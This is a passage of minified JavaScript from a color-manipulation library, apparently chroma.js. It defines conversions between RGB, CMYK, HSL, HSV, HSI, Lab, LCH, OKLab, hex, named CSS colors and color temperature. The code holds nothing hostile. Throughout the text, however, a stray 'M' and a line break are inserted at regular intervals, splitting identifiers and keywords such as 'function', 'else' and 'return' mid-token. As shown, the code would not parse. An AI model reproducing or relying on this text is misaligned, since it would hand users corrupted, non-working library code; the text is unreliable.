+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
